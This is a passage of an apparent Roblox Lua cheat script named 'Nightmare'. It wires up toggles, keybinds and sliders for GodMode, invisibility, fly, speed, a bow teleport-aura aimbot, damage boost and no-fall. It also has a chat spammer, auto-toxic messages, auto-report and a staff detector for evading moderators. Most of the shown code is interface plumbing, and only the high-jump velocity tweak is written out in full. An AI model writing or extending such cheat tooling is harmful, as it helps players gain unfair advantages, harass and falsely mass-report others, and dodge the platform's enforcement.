  3252. local HighJump, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "HighJump", Settings.HighJump.Value, function(CallBack)
  3253. Settings.HighJump.Value = CallBack
  3254.  
  3255. task.spawn(function()
  3256. UserInputService.JumpRequest:Connect(function()
  3257. if IsAlive(LocalPlayer) and Settings.HighJump.Value == true then
  3258. LocalPlayer.Character.PrimaryPart.Velocity = LocalPlayer.Character.PrimaryPart.Velocity + Vector3.new(0, 16.5, 0)
  3259. end
  3260. end)
  3261. end)
  3262. end)
  3263.  
  3264. task.spawn(function()
  3265. local InstanceUI
  3266. local Value = false
  3267.  
  3268. DropDownButton.Activated:Connect(function()
  3269. Value = not Value
  3270.  
  3271. if Value == true then
  3272. InstanceUI = CreateKeyBind(BlatantTab, Settings.HighJump.KeyBind, LayoutOrder + 1, function(CallBack)
  3273. Settings.HighJump.KeyBind = CallBack
  3274. end)
  3275. end
  3276.  
  3277. if Value == false then
  3278. InstanceUI:Destroy()
  3279. end
  3280. end)
  3281. end)
  3282.  
  3283. task.spawn(function()
  3284. UserInputService.InputBegan:Connect(function(Input)
  3285. if not UserInputService:GetFocusedTextBox() then
  3286. if Input.KeyCode.Name == Settings.HighJump.KeyBind then
  3287. Settings.HighJump.Value = not Settings.HighJump.Value
  3288.  
  3289. if Settings.HighJump.Value == true then
  3290. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3291. end
  3292.  
  3293. if Settings.HighJump.Value == false then
  3294. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3295. end
  3296. end
  3297. end
  3298. end)
  3299. end)
  3300. end)
  3301.  
  3302. task.spawn(function()
  3303. local GodMode, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "GodMode", Settings.GodMode.Value, function(CallBack)
  3304. Settings.GodMode.Value = CallBack
  3305. end)
  3306.  
  3307. task.spawn(function()
  3308. local InstanceUI
  3309. local Value = false
  3310.  
  3311. DropDownButton.Activated:Connect(function()
  3312. Value = not Value
  3313.  
  3314. if Value == true then
  3315. InstanceUI = CreateKeyBind(BlatantTab, Settings.GodMode.KeyBind, LayoutOrder + 1, function(CallBack)
  3316. Settings.GodMode.KeyBind = CallBack
  3317. end)
  3318. end
  3319.  
  3320. if Value == false then
  3321. InstanceUI:Destroy()
  3322. end
  3323. end)
  3324. end)
  3325.  
  3326. task.spawn(function()
  3327. UserInputService.InputBegan:Connect(function(Input)
  3328. if not UserInputService:GetFocusedTextBox() then
  3329. if Input.KeyCode.Name == Settings.GodMode.KeyBind then
  3330. Settings.GodMode.Value = not Settings.GodMode.Value
  3331.  
  3332. if Settings.GodMode.Value == true then
  3333. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3334. end
  3335.  
  3336. if Settings.GodMode.Value == false then
  3337. FlyValue = false
  3338. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3339. end
  3340. end
  3341. end
  3342. end)
  3343. end)
  3344. end)
  3345.  
  3346. task.spawn(function()
  3347. local Invisible, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Invisible", Settings.Invisible.Value, function(CallBack)
  3348. Settings.Invisible.Value = CallBack
  3349.  
  3350. task.spawn(function()
  3351. if Settings.Invisible.Value == true then
  3352. Invisibility()
  3353. end
  3354.  
  3355. task.spawn(function()
  3356. LocalPlayer.CharacterAdded:Connect(function()
  3357. task.wait(0.3)
  3358.  
  3359. if Settings.Invisible.Value == true and IsAlive(LocalPlayer) then
  3360. Invisibility()
  3361. end
  3362. end)
  3363. end)
  3364. end)
  3365. end)
  3366.  
  3367. task.spawn(function()
  3368. local InstanceUI
  3369. local Value = false
  3370.  
  3371. DropDownButton.Activated:Connect(function()
  3372. Value = not Value
  3373.  
  3374. if Value == true then
  3375. InstanceUI = CreateKeyBind(BlatantTab, Settings.Invisible.KeyBind, LayoutOrder + 1, function(CallBack)
  3376. Settings.Invisible.KeyBind = CallBack
  3377. end)
  3378. end
  3379.  
  3380. if Value == false then
  3381. InstanceUI:Destroy()
  3382. end
  3383. end)
  3384. end)
  3385.  
  3386. task.spawn(function()
  3387. UserInputService.InputBegan:Connect(function(Input)
  3388. if not UserInputService:GetFocusedTextBox() then
  3389. if Input.KeyCode.Name == Settings.Invisible.KeyBind then
  3390. Settings.Invisible.Value = not Settings.Invisible.Value
  3391.  
  3392. task.spawn(function()
  3393. if Settings.Invisible.Value == true then
  3394. Invisibility()
  3395. end
  3396.  
  3397. task.spawn(function()
  3398. LocalPlayer.CharacterAdded:Connect(function()
  3399. task.wait(0.3)
  3400.  
  3401. if Settings.Invisible.Value == true and IsAlive(LocalPlayer) then
  3402. Invisibility()
  3403. end
  3404. end)
  3405. end)
  3406. end)
  3407.  
  3408. if Settings.Invisible.Value == true then
  3409. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3410. end
  3411.  
  3412. if Settings.Invisible.Value == false then
  3413. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3414. end
  3415. end
  3416. end
  3417. end)
  3418. end)
  3419. end)
  3420.  
  3421. task.spawn(function()
  3422. local Scaffold, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Scaffold", Settings.Scaffold.Value, function(CallBack)
  3423. Settings.Scaffold.Value = CallBack
  3424. end)
  3425.  
  3426. task.spawn(function()
  3427. local InstanceUI
  3428. local Value = false
  3429.  
  3430. DropDownButton.Activated:Connect(function()
  3431. Value = not Value
  3432.  
  3433. if Value == true then
  3434. InstanceUI = CreateKeyBind(BlatantTab, Settings.Scaffold.KeyBind, LayoutOrder + 1, function(CallBack)
  3435. Settings.Scaffold.KeyBind = CallBack
  3436. end)
  3437. end
  3438.  
  3439. if Value == false then
  3440. InstanceUI:Destroy()
  3441. end
  3442. end)
  3443. end)
  3444.  
  3445. task.spawn(function()
  3446. UserInputService.InputBegan:Connect(function(Input)
  3447. if not UserInputService:GetFocusedTextBox() then
  3448. if Input.KeyCode.Name == Settings.Scaffold.KeyBind then
  3449. Settings.Scaffold.Value = not Settings.Scaffold.Value
  3450.  
  3451. if Settings.Scaffold.Value == true then
  3452. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3453. end
  3454.  
  3455. if Settings.Scaffold.Value == false then
  3456. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3457. end
  3458. end
  3459. end
  3460. end)
  3461. end)
  3462.  
  3463. task.spawn(function()
  3464. local InstanceUI
  3465. local Value = false
  3466.  
  3467. DropDownButton.Activated:Connect(function()
  3468. Value = not Value
  3469.  
  3470. if Value == true then
  3471. InstanceUI = CreateSlider(BlatantTab, "ExpandDistance", Settings.Scaffold.ExpandDistance, 4, LayoutOrder + 2, function(CallBack)
  3472. Settings.Scaffold.ExpandDistance = CallBack
  3473. end)
  3474. end
  3475.  
  3476. if Value == false then
  3477. InstanceUI:Destroy()
  3478. end
  3479. end)
  3480. end)
  3481. end)
  3482.  
  3483. task.spawn(function()
  3484. local Aimbot, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Bow TpAura", Settings.Aimbot.Value, function(CallBack)
  3485. Settings.Aimbot.Value = CallBack
  3486. end)
  3487.  
  3488. task.spawn(function()
  3489. local InstanceUI
  3490. local Value = false
  3491.  
  3492. DropDownButton.Activated:Connect(function()
  3493. Value = not Value
  3494.  
  3495. if Value == true then
  3496. InstanceUI = CreateKeyBind(BlatantTab, Settings.Aimbot.KeyBind, LayoutOrder + 1, function(CallBack)
  3497. Settings.Aimbot.KeyBind = CallBack
  3498. end)
  3499. end
  3500.  
  3501. if Value == false then
  3502. InstanceUI:Destroy()
  3503. end
  3504. end)
  3505. end)
  3506.  
  3507. task.spawn(function()
  3508. UserInputService.InputBegan:Connect(function(Input)
  3509. if not UserInputService:GetFocusedTextBox() then
  3510. if Input.KeyCode.Name == Settings.Aimbot.KeyBind then
  3511. Settings.Aimbot.Value = not Settings.Aimbot.Value
  3512.  
  3513. if Settings.Aimbot.Value == true then
  3514. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3515. end
  3516.  
  3517. if Settings.Aimbot.Value == false then
  3518. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3519. end
  3520. end
  3521. end
  3522. end)
  3523. end)
  3524.  
  3525. task.spawn(function()
  3526. local InstanceUI
  3527. local Value = false
  3528.  
  3529. DropDownButton.Activated:Connect(function()
  3530. Value = not Value
  3531.  
  3532. if Value == true then
  3533. InstanceUI = CreateMiniToggle(BlatantTab, "ToolCheck", Settings.Aimbot.ToolCheck, LayoutOrder + 2, function(CallBack)
  3534. Settings.Aimbot.ToolCheck = CallBack
  3535. end)
  3536. end
  3537.  
  3538. if Value == false then
  3539. InstanceUI:Destroy()
  3540. end
  3541. end)
  3542. end)
  3543. end)
  3544.  
  3545. task.spawn(function()
  3546. local NoFall, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "NoFall", Settings.NoFall.Value, function(CallBack)
  3547. Settings.NoFall.Value = CallBack
  3548. end)
  3549.  
  3550. task.spawn(function()
  3551. local InstanceUI
  3552. local Value = false
  3553.  
  3554. DropDownButton.Activated:Connect(function()
  3555. Value = not Value
  3556.  
  3557. if Value == true then
  3558. InstanceUI = CreateKeyBind(BlatantTab, Settings.NoFall.KeyBind, LayoutOrder + 1, function(CallBack)
  3559. Settings.NoFall.KeyBind = CallBack
  3560. end)
  3561. end
  3562.  
  3563. if Value == false then
  3564. InstanceUI:Destroy()
  3565. end
  3566. end)
  3567. end)
  3568.  
  3569. task.spawn(function()
  3570. UserInputService.InputBegan:Connect(function(Input)
  3571. if not UserInputService:GetFocusedTextBox() then
  3572. if Input.KeyCode.Name == Settings.NoFall.KeyBind then
  3573. Settings.NoFall.Value = not Settings.NoFall.Value
  3574.  
  3575. if Settings.NoFall.Value == true then
  3576. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3577. end
  3578.  
  3579. if Settings.NoFall.Value == false then
  3580. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3581. end
  3582. end
  3583. end
  3584. end)
  3585. end)
  3586. end)
  3587.  
  3588. task.spawn(function()
  3589. local Speed, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Speed", Settings.Speed.Value, function(CallBack)
  3590. Settings.Speed.Value = CallBack
  3591. end)
  3592.  
  3593. task.spawn(function()
  3594. local InstanceUI
  3595. local Value = false
  3596.  
  3597. DropDownButton.Activated:Connect(function()
  3598. Value = not Value
  3599.  
  3600. if Value == true then
  3601. InstanceUI = CreateKeyBind(BlatantTab, Settings.Speed.KeyBind, LayoutOrder + 1, function(CallBack)
  3602. Settings.Speed.KeyBind = CallBack
  3603. end)
  3604. end
  3605.  
  3606. if Value == false then
  3607. InstanceUI:Destroy()
  3608. end
  3609. end)
  3610. end)
  3611.  
  3612. task.spawn(function()
  3613. UserInputService.InputBegan:Connect(function(Input)
  3614. if not UserInputService:GetFocusedTextBox() then
  3615. if Input.KeyCode.Name == Settings.Speed.KeyBind then
  3616. Settings.Speed.Value = not Settings.Speed.Value
  3617.  
  3618. if Settings.Speed.Value == true then
  3619. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3620. end
  3621.  
  3622. if Settings.Speed.Value == false then
  3623. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3624. end
  3625. end
  3626. end
  3627. end)
  3628. end)
  3629.  
  3630. task.spawn(function()
  3631. local InstanceUI
  3632. local Value = false
  3633.  
  3634. DropDownButton.Activated:Connect(function()
  3635. Value = not Value
  3636.  
  3637. if Value == true then
  3638. InstanceUI = CreateSlider(BlatantTab, "Speed", Settings.Speed.Speed, 23, LayoutOrder + 2, function(CallBack)
  3639. Settings.Speed.Speed = CallBack
  3640. end)
  3641. end
  3642.  
  3643. if Value == false then
  3644. InstanceUI:Destroy()
  3645. end
  3646. end)
  3647. end)
  3648. end)
  3649.  
  3650. task.spawn(function()
  3651. local Fly, DropDownButton, LayoutOrder, UIGradient = CreateToggle(BlatantTab, "Fly", Settings.Fly.Value, function(CallBack)
  3652. Settings.Fly.Value = CallBack
  3653.  
  3654. task.spawn(function()
  3655. if Settings.Fly.Value == true then
  3656. FlyValue = true
  3657. FlyMe()
  3658. end
  3659. end)
  3660. end)
  3661.  
  3662. task.spawn(function()
  3663. local InstanceUI
  3664. local Value = false
  3665.  
  3666. DropDownButton.Activated:Connect(function()
  3667. Value = not Value
  3668.  
  3669. if Value == true then
  3670. InstanceUI = CreateKeyBind(BlatantTab, Settings.Fly.KeyBind, LayoutOrder + 1, function(CallBack)
  3671. Settings.Fly.KeyBind = CallBack
  3672. end)
  3673. end
  3674.  
  3675. if Value == false then
  3676. InstanceUI:Destroy()
  3677. end
  3678. end)
  3679. end)
  3680.  
  3681. task.spawn(function()
  3682. UserInputService.InputBegan:Connect(function(Input)
  3683. if not UserInputService:GetFocusedTextBox() then
  3684. if Input.KeyCode.Name == Settings.Fly.KeyBind then
  3685. Settings.Fly.Value = not Settings.Fly.Value
  3686.  
  3687. if Settings.Fly.Value == true then
  3688. task.spawn(function()
  3689. if Settings.Fly.Value == true then
  3690. FlyValue = true
  3691. FlyMe()
  3692. end
  3693. end)
  3694.  
  3695. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3696. end
  3697.  
  3698. if Settings.Fly.Value == false then
  3699. FlyValue = false
  3700. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3701. end
  3702. end
  3703. end
  3704. end)
  3705. end)
  3706. end)
  3707.  
  3708. task.spawn(function()
  3709. local DamageBoost, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "DamageBoost", Settings.DamageBoost.Value, function(CallBack)
  3710. Settings.DamageBoost.Value = CallBack
  3711. end)
  3712.  
  3713. task.spawn(function()
  3714. local InstanceUI
  3715. local Value = false
  3716.  
  3717. DropDownButton.Activated:Connect(function()
  3718. Value = not Value
  3719.  
  3720. if Value == true then
  3721. InstanceUI = CreateKeyBind(UtilityTab, Settings.DamageBoost.KeyBind, LayoutOrder + 1, function(CallBack)
  3722. Settings.DamageBoost.KeyBind = CallBack
  3723. end)
  3724. end
  3725.  
  3726. if Value == false then
  3727. InstanceUI:Destroy()
  3728. end
  3729. end)
  3730. end)
  3731.  
  3732. task.spawn(function()
  3733. UserInputService.InputBegan:Connect(function(Input)
  3734. if not UserInputService:GetFocusedTextBox() then
  3735. if Input.KeyCode.Name == Settings.DamageBoost.KeyBind then
  3736. Settings.DamageBoost.Value = not Settings.DamageBoost.Value
  3737.  
  3738. if Settings.DamageBoost.Value == true then
  3739. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3740. end
  3741.  
  3742. if Settings.DamageBoost.Value == false then
  3743. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3744. end
  3745. end
  3746. end
  3747. end)
  3748. end)
  3749. end)
  3750.  
  3751. task.spawn(function()
  3752. local ChatSpammer, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "ChatSpammer", Settings.ChatSpammer.Value, function(CallBack)
  3753. Settings.ChatSpammer.Value = CallBack
  3754. end)
  3755.  
  3756. task.spawn(function()
  3757. local InstanceUI
  3758. local Value = false
  3759.  
  3760. DropDownButton.Activated:Connect(function()
  3761. Value = not Value
  3762.  
  3763. if Value == true then
  3764. InstanceUI = CreateKeyBind(UtilityTab, Settings.ChatSpammer.KeyBind, LayoutOrder + 1, function(CallBack)
  3765. Settings.ChatSpammer.KeyBind = CallBack
  3766. end)
  3767. end
  3768.  
  3769. if Value == false then
  3770. InstanceUI:Destroy()
  3771. end
  3772. end)
  3773. end)
  3774.  
  3775. task.spawn(function()
  3776. UserInputService.InputBegan:Connect(function(Input)
  3777. if not UserInputService:GetFocusedTextBox() then
  3778. if Input.KeyCode.Name == Settings.ChatSpammer.KeyBind then
  3779. Settings.ChatSpammer.Value = not Settings.ChatSpammer.Value
  3780.  
  3781. if Settings.ChatSpammer.Value == true then
  3782. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3783. end
  3784.  
  3785. if Settings.ChatSpammer.Value == false then
  3786. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3787. end
  3788. end
  3789. end
  3790. end)
  3791. end)
  3792.  
  3793. task.spawn(function()
  3794. local InstanceUI
  3795. local Value = false
  3796.  
  3797. DropDownButton.Activated:Connect(function()
  3798. Value = not Value
  3799.  
  3800. if Value == true then
  3801. InstanceUI = CreateSlider(UtilityTab, "Speed", Settings.ChatSpammer.Speed, 100, LayoutOrder + 2, function(CallBack)
  3802. Settings.ChatSpammer.Speed = CallBack
  3803. end)
  3804. end
  3805.  
  3806. if Value == false then
  3807. InstanceUI:Destroy()
  3808. end
  3809. end)
  3810. end)
  3811. end)
  3812.  
  3813. task.spawn(function()
  3814. local AutoReport, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoReport", Settings.AutoReport.Value, function(CallBack)
  3815. Settings.AutoReport.Value = CallBack
  3816. end)
  3817.  
  3818. task.spawn(function()
  3819. local InstanceUI
  3820. local Value = false
  3821.  
  3822. DropDownButton.Activated:Connect(function()
  3823. Value = not Value
  3824.  
  3825. if Value == true then
  3826. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoReport.KeyBind, LayoutOrder + 1, function(CallBack)
  3827. Settings.AutoReport.KeyBind = CallBack
  3828. end)
  3829. end
  3830.  
  3831. if Value == false then
  3832. InstanceUI:Destroy()
  3833. end
  3834. end)
  3835. end)
  3836.  
  3837. task.spawn(function()
  3838. UserInputService.InputBegan:Connect(function(Input)
  3839. if not UserInputService:GetFocusedTextBox() then
  3840. if Input.KeyCode.Name == Settings.AutoReport.KeyBind then
  3841. Settings.AutoReport.Value = not Settings.AutoReport.Value
  3842.  
  3843. if Settings.AutoReport.Value == true then
  3844. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3845. end
  3846.  
  3847. if Settings.AutoReport.Value == false then
  3848. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3849. end
  3850. end
  3851. end
  3852. end)
  3853. end)
  3854. end)
  3855.  
  3856. task.spawn(function()
  3857. local FpsBooster, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "FpsBooster", Settings.FpsBooster.Value, function(CallBack)
  3858. Settings.FpsBooster.Value = CallBack
  3859.  
  3860. if Settings.FpsBooster.Value == true then
  3861. FpsBoost()
  3862.  
  3863. task.spawn(function()
  3864. CreateNotification(5, "Nightmare is now in balanced mode")
  3865. end)
  3866. end
  3867.  
  3868. if Settings.FpsBooster.Value == false then
  3869. task.spawn(function()
  3870. CreateNotification(5, "Nightmare is now in performance mode")
  3871. end)
  3872. end
  3873. end)
  3874.  
  3875. task.spawn(function()
  3876. local InstanceUI
  3877. local Value = false
  3878.  
  3879. DropDownButton.Activated:Connect(function()
  3880. Value = not Value
  3881.  
  3882. if Value == true then
  3883. InstanceUI = CreateKeyBind(UtilityTab, Settings.FpsBooster.KeyBind, LayoutOrder + 1, function(CallBack)
  3884. Settings.FpsBooster.KeyBind = CallBack
  3885. end)
  3886. end
  3887.  
  3888. if Value == false then
  3889. InstanceUI:Destroy()
  3890. end
  3891. end)
  3892. end)
  3893.  
  3894. task.spawn(function()
  3895. UserInputService.InputBegan:Connect(function(Input)
  3896. if not UserInputService:GetFocusedTextBox() then
  3897. if Input.KeyCode.Name == Settings.FpsBooster.KeyBind then
  3898. Settings.FpsBooster.Value = not Settings.FpsBooster.Value
  3899.  
  3900. if Settings.FpsBooster.Value == true then
  3901. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3902. end
  3903.  
  3904. if Settings.FpsBooster.Value == false then
  3905. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3906. end
  3907. end
  3908. end
  3909. end)
  3910. end)
  3911. end)
  3912.  
  3913. task.spawn(function()
  3914. local PlayAgain, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "PlayAgain", Settings.PlayAgain.Value, function(CallBack)
  3915. Settings.PlayAgain.Value = CallBack
  3916. end)
  3917.  
  3918. task.spawn(function()
  3919. local InstanceUI
  3920. local Value = false
  3921.  
  3922. DropDownButton.Activated:Connect(function()
  3923. Value = not Value
  3924.  
  3925. if Value == true then
  3926. InstanceUI = CreateKeyBind(UtilityTab, Settings.PlayAgain.KeyBind, LayoutOrder + 1, function(CallBack)
  3927. Settings.PlayAgain.KeyBind = CallBack
  3928. end)
  3929. end
  3930.  
  3931. if Value == false then
  3932. InstanceUI:Destroy()
  3933. end
  3934. end)
  3935. end)
  3936.  
  3937. task.spawn(function()
  3938. UserInputService.InputBegan:Connect(function(Input)
  3939. if not UserInputService:GetFocusedTextBox() then
  3940. if Input.KeyCode.Name == Settings.PlayAgain.KeyBind then
  3941. Settings.PlayAgain.Value = not Settings.PlayAgain.Value
  3942.  
  3943. if Settings.PlayAgain.Value == true then
  3944. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3945. end
  3946.  
  3947. if Settings.PlayAgain.Value == false then
  3948. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3949. end
  3950. end
  3951. end
  3952. end)
  3953. end)
  3954. end)
  3955.  
  3956. task.spawn(function()
  3957. local AutoToxic, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoToxic", Settings.AutoToxic.Value, function(CallBack)
  3958. Settings.AutoToxic.Value = CallBack
  3959. end)
  3960.  
  3961. task.spawn(function()
  3962. local InstanceUI
  3963. local Value = false
  3964.  
  3965. DropDownButton.Activated:Connect(function()
  3966. Value = not Value
  3967.  
  3968. if Value == true then
  3969. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoToxic.KeyBind, LayoutOrder + 1, function(CallBack)
  3970. Settings.AutoToxic.KeyBind = CallBack
  3971. end)
  3972. end
  3973.  
  3974. if Value == false then
  3975. InstanceUI:Destroy()
  3976. end
  3977. end)
  3978. end)
  3979.  
  3980. task.spawn(function()
  3981. UserInputService.InputBegan:Connect(function(Input)
  3982. if not UserInputService:GetFocusedTextBox() then
  3983. if Input.KeyCode.Name == Settings.AutoToxic.KeyBind then
  3984. Settings.AutoToxic.Value = not Settings.AutoToxic.Value
  3985.  
  3986. if Settings.AutoToxic.Value == true then
  3987. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  3988. end
  3989.  
  3990. if Settings.AutoToxic.Value == false then
  3991. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  3992. end
  3993. end
  3994. end
  3995. end)
  3996. end)
  3997. end)
  3998.  
  3999. task.spawn(function()
  4000. local AutoBank, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "AutoBank", Settings.AutoBank.Value, function(CallBack)
  4001. Settings.AutoBank.Value = CallBack
  4002. end)
  4003.  
  4004. task.spawn(function()
  4005. local InstanceUI
  4006. local Value = false
  4007.  
  4008. DropDownButton.Activated:Connect(function()
  4009. Value = not Value
  4010.  
  4011. if Value == true then
  4012. InstanceUI = CreateKeyBind(UtilityTab, Settings.AutoBank.KeyBind, LayoutOrder + 1, function(CallBack)
  4013. Settings.AutoBank.KeyBind = CallBack
  4014. end)
  4015. end
  4016.  
  4017. if Value == false then
  4018. InstanceUI:Destroy()
  4019. end
  4020. end)
  4021. end)
  4022.  
  4023. task.spawn(function()
  4024. UserInputService.InputBegan:Connect(function(Input)
  4025. if not UserInputService:GetFocusedTextBox() then
  4026. if Input.KeyCode.Name == Settings.AutoBank.KeyBind then
  4027. Settings.AutoBank.Value = not Settings.AutoBank.Value
  4028.  
  4029. if Settings.AutoBank.Value == true then
  4030. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4031. end
  4032.  
  4033. if Settings.AutoBank.Value == false then
  4034. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4035. end
  4036. end
  4037. end
  4038. end)
  4039. end)
  4040.  
  4041. task.spawn(function()
  4042. local InstanceUI
  4043. local Value = false
  4044.  
  4045. DropDownButton.Activated:Connect(function()
  4046. Value = not Value
  4047.  
  4048. if Value == true then
  4049. InstanceUI = CreateSlider(UtilityTab, "Range", Settings.AutoBank.Range, 30, LayoutOrder + 2, function(CallBack)
  4050. Settings.AutoBank.Range = CallBack
  4051. end)
  4052. end
  4053.  
  4054. if Value == false then
  4055. InstanceUI:Destroy()
  4056. end
  4057. end)
  4058. end)
  4059. end)
  4060.  
  4061. task.spawn(function()
  4062. local AntiStaff, DropDownButton, LayoutOrder, UIGradient = CreateToggle(UtilityTab, "Staff Detector", Settings.AntiStaff.Value, function(CallBack)
  4063. Settings.AntiStaff.Value = CallBack
  4064. end)
  4065.  
  4066. task.spawn(function()
  4067. local InstanceUI
  4068. local Value = false
  4069.  
  4070. DropDownButton.Activated:Connect(function()
  4071. Value = not Value
  4072.  
  4073. if Value == true then
  4074. InstanceUI = CreateKeyBind(UtilityTab, Settings.AntiStaff.KeyBind, LayoutOrder + 1, function(CallBack)
  4075. Settings.AntiStaff.KeyBind = CallBack
  4076. end)
  4077. end
  4078.  
  4079. if Value == false then
  4080. InstanceUI:Destroy()
  4081. end
  4082. end)
  4083. end)
  4084.  
  4085. task.spawn(function()
  4086. UserInputService.InputBegan:Connect(function(Input)
  4087. if not UserInputService:GetFocusedTextBox() then
  4088. if Input.KeyCode.Name == Settings.AntiStaff.KeyBind then
  4089. Settings.AntiStaff.Value = not Settings.AntiStaff.Value
  4090.  
  4091. if Settings.AntiStaff.Value == true then
  4092. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(0.635294, 0.313725, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(0.831373, 0.686275, 1))}
  4093. end
  4094.  
  4095. if Settings.AntiStaff.Value == false then
  4096. UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.new(1, 1, 1)), ColorSequenceKeypoint.new(1.00, Color3.new(1, 1, 1))}
  4097. end
  4098. end
  4099. end
  4100. end)
  4101. end)
  4102.  
  4103. task.spawn(function()
